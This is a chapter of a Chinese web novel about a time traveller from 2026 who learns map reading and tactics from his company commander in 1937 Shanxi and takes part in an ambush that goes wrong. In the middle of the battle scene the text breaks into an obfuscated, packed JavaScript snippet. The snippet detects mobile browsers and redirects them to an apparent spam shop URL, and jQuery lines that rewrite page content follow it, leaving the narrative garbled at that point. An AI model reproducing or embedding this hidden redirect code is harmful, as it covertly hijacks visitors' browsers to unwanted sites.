扫盲课进行到第七天时，林晏发现自己面临一个意想不到的难题。
二十几个战士已经学会了四十个汉字，能写自己的名字，能认简单的标语。但今天要教的是“地理”——不是现代意义上的地理课，而是最基本的方位认知。
“同志们，”林晏在黑板上——一块用锅底灰涂黑的木板——画了个简单的示意图，“这是我们现在的村庄，这里是太原，这里是北平。”
他指着太原的位置：“岛国军要打太原，我们就必须守住这一带的山区。所以我们要知道自己在哪儿，敌人在哪儿。”
赵大牛举手：“林先生，太原离我们多远？”
林晏愣住了。多远？他记得游戏地图上的比例尺，但那是像素化的虚拟地图。真实的距离……他完全没概念。
“大概……一百多里？”他试探着说。
“不对吧，”另一个战士插话，“我听班长说，有两百多里。”
“我听说是一百五十里。”
战士们开始争论。林晏尴尬地站着，突然意识到自己的历史地理知识有多贫乏。他知道太原会战的大概时间，知道几个主要战役的名字，但具体的距离、地形、行军路线——这些实战需要的知识，他的大脑一片空白。
“安静。”门口传来沈擎苍的声音。
他不知什么时候来的，靠在门框上，双手抱胸。战士们立刻安静下来。
沈擎苍走进来，看了一眼黑板上的示意图，然后转向林晏：“教得不错，但数据要准确。”他拿起粉笔——其实是石灰块，“宁武关到太原，直线距离约一百八十里。但山路蜿蜒，实际行军距离在二百三十里左右。”
他在图上标注了几个点：“这一带是山区，易守难攻。岛国军的大部队进不来，但小股侦察部队经常活动。所以——”他看向战士们，“你们学识字，也要学看地图。这是保命的技能。”
林晏站在一旁，感到脸上发烫。沈擎苍没有责备他，但那句“数据要准确”像针一样扎进他心里。
下课後，沈擎苍留了下来。
“坐。”他在长凳上坐下，示意林晏也坐。
两人相对而坐。阳光从破窗户照进来，灰尘在光柱里飞舞。
“你在未来，地理是怎么学的？”沈擎苍问。
林晏想了想：“有课本，有地图，有地球仪。还有卫星照片，就是……从天上往下拍的画面，能看到整个地球。”
沈擎苍的眼睛微微睁大：“从天上？”
“嗯。我们有种叫卫星的东西，能飞到地球外面，往下拍照片。”林晏解释着，突然觉得这些描述在这个时代听来简直像神话。
沈擎苍沉默了片刻：“所以你知道整个世界的样子？”
“知道大概。”林晏说，“但具体的……我学的都是考试要考的。比如华夏有多大，有哪些省份，主要河流山脉。但像山西具体的地形，哪个山口容易设伏，哪条小路能绕到敌人背后——这些，我没学过。”
这是实话。他的历史地理知识是应试教育下的产物，是标准答案，是考点。而在这个需要靠这些知识活命的时代，那些标准答案远远不够。
“你记得多少？”沈擎苍从怀里掏出一个小本子，翻到一页空白，“说你知道的。”
林晏努力回忆。他想起了高中地理课本上关于华夏地形的章节，想起了历史课本上抗战的地图。
“山西……东面是太行山，西面是吕梁山，中间是汾河谷地。太原在汾河边上，是交通枢纽。岛国军如果占领太原，就能控制山西，进而威胁西北和华北……”
他说得很概括，很笼统。沈擎苍认真记着，但眉头越皱越紧。
“就这些？”他问。
林晏羞愧地点头。
沈擎苍合上本子，看着林晏：“你知道我现在需要什么吗？我需要知道：太原周边有哪些制高点，哪些村庄有水源，哪些道路在雨季会被冲毁，哪些山口在冬天会被雪封住。”
他顿了顿，声音低沉：“这些，才是能救命的知识。”
林晏无言以对。他第一次如此清晰地意识到，自己来自未来的“优势”是多么苍白无力。他知道历史的大概走向，但那就像站在山顶俯瞰战场——能看到全局，却看不清战壕里的细节。
而在这个时代，细节决定生死。
“从今天开始，”沈擎苍站起来，“我教你认真正的地图。”
真正的地图课在当天晚上开始。
连部办公室里，油灯点亮。桌上摊着一张巨大的、手工绘制的地图。纸张已经泛黄，边缘磨损，上面用不同颜色的墨水标注着密密麻麻的符号和注释。
“这是团里侦察兵花了三个月绘制的，”沈擎苍指着地图，“范围是宁武关到太原这一带，比例大概是一比五万。”
林晏凑近看。地图画得非常精细：每一条小河，每一座山丘，每一个村庄，甚至每一片树林都有标注。有些地方用红笔画了圈，旁边有小字注释：“此处易设伏”、“此处有水源”、“此处冬季积雪深达三尺”。
“看这里，”沈擎苍的手指落在一个山口位置，“黑风口。两边是悬崖，中间通道宽不足十丈。如果在这里设伏，一个排能挡住一个中队。”
他的手指移动：“这里是赵家庄，我们之前准备去的地方。村庄依山而建，只有一条路进出。岛国军如果来，可以从后山的小路绕出去。”
林晏仔细看着，努力记住这些细节。但他的大脑已经习惯了电子地图的便捷——缩放、搜索、导航提示。面对这样一张静态的、全靠记忆的纸质地图，他感到前所未有的吃力。
“记不住？”沈擎苍看出他的窘迫。
“信息量太大了。”林晏诚实地说。
沈擎苍点点头，从桌下拿出一个小盒子。里面是几十个用木头削成的小方块，每个方块上写着字：山、河、村、路、林……
“摆出来。”他说。
林晏照做，按照地图上的位置，把木块摆在桌面上。很快，一个简陋的沙盘形成了。
“现在看，”沈擎苍说，“是不是清楚多了？”
确实。立体的木块比平面上的符号更直观。林晏突然明白了——这就是这个时代的“三维地图”。
“你来自未来，”沈擎苍一边调整木块的位置一边说，“见过更好的东西。但在这里，我们只有这些。所以你得学会用。”
他指着沙盘：“现在，假设你是岛国军指挥官，要进攻这个村庄。你会怎么打？”
林晏盯着沙盘。村庄在河谷里，两边是山，只有一条路通进去。
“从正面进攻？”他试探着说。
“然后呢？”沈擎苍问，“我们会在两边山上设伏，你会损失惨重。”
“那就分兵，从侧面绕……”
“侧面是悬崖，上不去。”
林晏卡住了。他发现自己虽然知道“游击战”这个概念，但具体到战术层面，他一窍不通。
沈擎苍拿起代表岛国军的小木块，摆在沙盘边缘：“如果是我，我会先派小股部队佯攻正面，吸引你们的注意力。同时，主力从这条路——”他的手指划过一条几乎看不见的小径标记，“绕到后山。这条路在地图上没有标，是放羊人走的小道，但能通人。”
林晏瞪大眼睛：“你怎么知道这条路？”
“侦察兵去过。”沈擎苍简单地说，“地图上没画，但记在这里。”他指了指自己的脑袋。
这就是差距。林晏的知识来自书本，沈擎苍的知识来自双脚丈量过的土地。
“现在换过来，”沈擎苍把代表八路军的小木块推给林晏，“你是守军。怎么防？”
林晏盯着沙盘，大脑飞速运转。他想起了读过的战史，想起了游戏里的战术，但那些都太抽象。
“我……我会在正面布置少量兵力，主力放在后山的小路？”他不确定地说。
沈擎苍点头：“对了一半。但后山小路狭窄，大部队展不开。我会在那里布置一个班，配上两挺机枪，足够守住。真正的机动兵力，放在这里——”他指向村庄侧翼的一片树林，“随时可以支援正面，也可以截击绕后的敌军。”
林晏看着沈擎苍的手指在地图上移动，像棋手布局。每一步都有理由，每一处兵力部署都考虑到了地形、敌情、我情。
“这些，”沈擎苍说，“是你在书上学不到的。”
夜深了。油灯添了两次油，桌上的沙盘反复摆弄了几十次。沈擎苍设计了各种战情：遭遇战、伏击战、突围战。每一次，他都要求林晏做出判断，然后指出问题。
“你太依赖‘应该’，”沈擎苍在一次推演后说，“‘岛国军应该从大路来’，‘我们应该守住制高点’。但战场上没有‘应该’，只有‘实际’。”
他指着地图上的一处缓坡：“你看这里，按常理不该布置重兵，因为地势太平坦，没有掩护。但上个月，就在这里，我们伏击了一个运输队。为什么？因为岛国军也这么想。”
林晏记下了。这是用鲜血换来的经验，不是书本知识。
凌晨两点，课程终于结束。林晏的脑袋嗡嗡作响，信息过载。
“今天就到这里。”沈擎苍收起木块，“明天继续。”
“连长，”林晏叫住他，“你为什么……这么耐心教我？”
沈擎苍顿了顿，看向窗外。月光很亮。
“因为你有用。”他重复了之前的话，但这次语气不同，“不只是识字有用，你的脑子有用。你看问题的方式……不一样。有时候，不一样就是优势。”
他转回头，看着林晏：“但你的知识是碎的，是片面的。我要把它们拼起来，变成真正有用的东西。”
林晏点点头。他明白了。沈擎苍在打磨他，就像打磨一件武器。粗糙，但必须锋利。
接下来的几天，林晏的生活被地图和沙盘填满。
白天教扫盲课，晚上学军事地形。沈擎苍的教学方法很实用：不教理论，只教怎么做。怎么判断距离，怎么选择伏击点，怎么规划撤退路线。
林晏在进步。他能在地图上找到自己所在的位置，能大概估算出到下一个村庄的距离和时间，能看懂一些简单的战术标记。
但他最缺的，是实战经验。
机会来得比想象中快。
第六天下午，侦察兵带回消息：一支岛国军运输队将在明天上午经过黑风峪，护送兵力约一个小队。
“打不打？”连部会议上，几个排长争论起来。
“打！送上门的肥肉！”一排长拍桌子，“我们有地利，吃掉它没问题。”
“太冒险，”二排长反对，“黑风峪虽然易守难攻，但离岛国军据点太近。一旦交火时间拖长，援军很快就能到。”
“那就速战速决！”
“说得容易……”
争论不休。沈擎苍一直沉默，手指在地图上轻轻敲着。
“林文书，”他突然开口，“你觉得呢？”
所有人都看向林晏。几个排长的眼神里有怀疑，有不屑——一个文书，懂什么打仗？
林晏的心跳加速。他知道这是测试，是沈擎苍给他的第一次实战推演的机会。
他走到地图前，盯着黑风峪的位置。脑子里快速回放这几天学的东西：地形、距离、敌我兵力对比……
“可以打，”他最终说，声音尽量平稳，“但必须快。战斗时间不能超过二十分钟。”
“为什么是二十分钟？”一排长问。
“从最近的岛国军据点到这里，急行军需要四十分钟。”林晏指着地图上的一个点，“但我们打起来后，岛国军收到消息、集结部队、出发，至少要十五分钟。所以二十分钟内结束战斗，我们有五分钟的撤离窗口。”
会议室安静下来。几个排长重新打量林晏。
“继续。”沈擎苍说。
“伏击点应该设在这里，”林晏的手指落在黑风峪中段的一处拐弯，“这里最窄，车队必须减速。我们可以前后夹击，先打头车，再打尾车，把车队堵在中间。”
“然后呢？”
“然后重点不是全歼，是抢物资。”林晏说，“运输队肯定有我们急需的东西：药品、弹药、粮食。打掉头尾，中间的车就跑不了。用最短时间搬运物资，然后炸毁剩下的车辆，撤离。”
他说完了，手心里全是汗。
沈擎苍沉默了几秒钟，然后点头：“按这个思路准备。一排负责打头，二排打尾，三排搬运物资。林文书——”
林晏抬头。
“你跟着我，负责记录战场情况。”沈擎苍说，“实战是最好的老师。”
第二天凌晨三点，部队出发。
夜色浓稠，没有月光。战士们悄无声息地行进，像一群黑色的影子。林晏跟在沈擎苍身后，背着一个小背包，里面是纸笔和地图。
他的心跳得很快。不是恐惧，是紧张——第一次参加实战行动，虽然只是在后方观察记录，但依然让他肾上腺素飙升。
到达黑风峪时，天还没亮。沈擎苍亲自布置伏击点，每一个火力点的位置，每一个战士的隐蔽处，都仔细检查。
“你，”他指着林晏，“在这里。”那是一块大岩石后面，视野好，也有掩护。
林晏趴下，从岩石缝隙望出去。黑风峪确实险要——两侧山壁陡峭，中间通道像被刀劈出来的。黎明前的黑暗让这一切显得更加阴森。
时间一分一秒过去。天渐渐亮了，山谷里起了雾，白茫茫的一片。
“来了。”沈擎苍压低声音。
远处传来引擎声。很快，车队的轮廓在雾中显现：三辆卡车，前后都有摩托车护卫。车篷用帆布盖着，鼓鼓囊囊的。
林晏握紧了手里的铅笔。他的手在抖，但他强迫自己冷静。
车队进入伏击圈。头车经过林晏面前的拐弯时，速度果然慢了下来。
沈擎苍举起手。
林晏屏住呼吸。
手猛地挥下。
枪声瞬间撕裂了山谷的宁静。
战斗和推演时完全不同。没有冷静的计算，没有清晰的步骤，只有混乱——震耳欲聋的枪声，爆炸的火光，岛国军的叫喊，战士们的怒吼。
林晏趴在那里，努力记录着：时间、敌方反应、我方火力配置……但他的眼睛被战场吸引住了。
他看见一个战士中弹倒下，看见沈擎苍冲过去把他拖到掩体后。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140721|196318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看见岛国军机枪手被打掉，又有人补上。看见二排的战士用手榴弹炸毁了尾车，堵住了退路。
一切都发生在几分钟内。快得来不及思考。
搬运物资的队伍冲下去了。他们像蚂蚁一样，从卡车上搬下箱子，扛起来就往山上跑。岛国军在抵抗，但被火力压制着。
林晏看了一眼怀表：战斗开始已经十五分钟了。
“准备撤离！”沈擎苍的声音在山谷里回荡。
大部分物资已经搬走。战士们开始交替掩护后撤。
就在这时，意外发生了。
一辆卡车的帆布突然被掀开，里面不是物资，是二十几个全副武装的岛国军士兵——这是陷阱，运输队是诱饵。
“有埋伏！撤！快撤！”
但已经来不及了。埋伏的岛国军火力很猛，一下子把撤退路线封锁了。
林晏看见两个搬运物资的战士中弹倒下，箱子摔在地上，里面的药品散落一地。
沈擎苍的眼睛红了。他端起一挺机枪——是缴获的歪把子，对着埋伏的岛国军扫射。
“一排掩护！二排三排撤！”
子弹在头顶呼啸。林晏趴得更低，但他还是在记录：时间、敌新增兵力、我方伤亡……
突然，一发炮弹落在不远处。爆炸的气浪把林晏掀翻，耳朵嗡嗡作响。他爬起来，看见沈擎苍还在射击，但机枪卡壳了。
两个岛国军士兵从侧面摸上来，刺刀闪着寒光。
林晏的大脑一片空白。所有的理论知识，所有的沙盘推演，在这一刻都消失了。他只剩下本能。
他抓起地上的一块石头——很大的石头，用尽全身力气扔出去。
石头砸在一个岛国军士兵的钢盔上，发出沉闷的响声。士兵踉跄了一下。
就这一瞬间的迟疑，沈擎苍已经解决了机枪故障，一个点射，两个岛国军士兵倒下。
“撤！”沈擎苍冲到林晏身边，一把拽起他，“走！”
他们往后山跑。子弹追着脚后跟。林晏的肺像要炸开，但他不敢停。
跑到半山腰，沈擎苍突然停下，把林晏推到一块岩石后面：“藏好！”
他转身，对着追兵开了几枪，然后扔出最后一颗手榴弹。
爆炸暂时挡住了追兵。
两人继续跑，终于和其他撤退的战士汇合。
“清点人数！”沈擎苍喘着粗气。
一排长报告：“牺牲三个，重伤两个，轻伤五个。物资……抢出来一半。”
沈擎苍的脸色阴沉。他看向林晏：“你没事吧？”
林晏摇头，但他的腿在抖，手也在抖。
“记录呢？”
林晏从背包里掏出本子。纸张已经皱巴巴，上面的字迹潦草，有些地方被汗浸湿了。
沈擎苍接过来，快速翻看。他的眉头渐渐皱紧。
“这里，”他指着一行记录，“‘敌埋伏兵力约二十人’。你是什么时候发现的？”
“他们从车里出来的时候。”
“为什么没第一时间报告？”
林晏愣住了。他当时在记录，在观察，但没想到要报告——他还没有形成那种战场本能。
沈擎苍看着他，眼神复杂。那里面有失望，但更多是……理解。
“记住这次教训。”他把本子还给林晏，“在战场上，信息要及时传递。晚一秒钟，可能就是一条命。”
林晏低下头：“对不起。”
“不用说对不起。”沈擎苍望向山谷，那里还有硝烟升起，“说‘我记住了’。”
“我记住了。”
回村的路上，队伍沉默。牺牲战士的尸体被草草掩埋在山里，只能立个简易的木牌。重伤员被担架抬着，每一声呻吟都像刀子扎在每个人心上。
林晏走在队伍里，第一次如此真切地感受到战争的代价。那三个牺牲的战士，昨天还在上他的扫盲课，还在学写自己的名字。
而现在，他们的名字只会出现在阵亡名单上。
回到村庄，天已经黑了。林晏没有回文书室，而是直接去了沈擎苍的住处。
连长还没睡。他坐在油灯下，正在擦拭那挺卡过壳的机枪。
“连长，”林晏站在门口，“我能进来吗？”
沈擎苍抬头，点点头。
林晏走进来，在凳子上坐下。两人沉默了一会儿。
“我今天……表现很差。”林晏最终说。
“不差。”沈擎苍放下手里的布，“你扔那块石头，救了我一命。”
“那是本能。”
“本能就是最好的反应。”沈擎苍看着他，“但你要把本能变成习惯。看到敌情，第一时间报告；听到命令，第一时间执行；遇到危险，第一时间应对。”
他顿了顿：“这需要时间。也需要……更多实战。”
林晏明白。今天的战斗，暴露了他最大的弱点：理论和实践的鸿沟。他知道该怎么做，但在生死关头，他的身体和大脑脱节了。
“连长，”他轻声问，“那些牺牲的战士……他们的名字，我能记下来吗？”
沈擎苍从抽屉里拿出一个小本子，翻开，上面已经写了十几个名字，每个名字后面有简单的介绍：籍贯、年龄、何时入伍、何时牺牲。
他在最后添了三个名字：
王二狗，河北人，十九岁，入伍两个月。
张铁蛋，山西人，二十一岁，入伍五个月。
李栓柱，河南人，二十三岁，入伍一年。
字迹很稳，但林晏看见，沈擎苍的手在微微发抖。
“记住他们。”沈擎苍说，“每一个都要记住。这是我们的责任。”
林晏点头。他拿出自己的本子，把这几个名字抄下来。写得很慢，很认真，仿佛这样就能让这些生命留下一点痕迹。
“回去睡吧。”沈擎苍说，“明天还有工作。”
林晏站起来，走到门口，又回头：“连长，谢谢你教我。”
沈擎苍摆摆手，没说话。
走出屋子，月光很好。林晏抬头看天，想起2026年的夜空——被灯光污染，很少能看见这么多星星。
他想，那些牺牲的战士，也许现在就在这些星星中的某一颗上，看着他们。
这个想法很幼稚，但他愿意相信。
因为相信，才能继续走下去。
回到文书室，林晏没有睡。他坐在油灯下，摊开今天战场的记录，开始重新整理。这一次，他不仅记录事实，还写下自己的反思：
为什么没能及时发现埋伏？
为什么没有第一时间报告？
如果再来一次，应该怎么做？
他写得很详细，像在写一份检讨，也像在写一份学习笔记。
油灯的火苗跳跃着，照亮纸上那些来自1937年的血与火，也照亮这个来自2026年的年轻人的脸。
他在成长。以痛苦的方式，以牺牲为代价。
但他在成长。
窗外的夜很静。远处传来哨兵换岗的脚步声，轻而稳。
战争还在继续。学习也在继续。
而林晏知道，他要学的东西，还很多很多。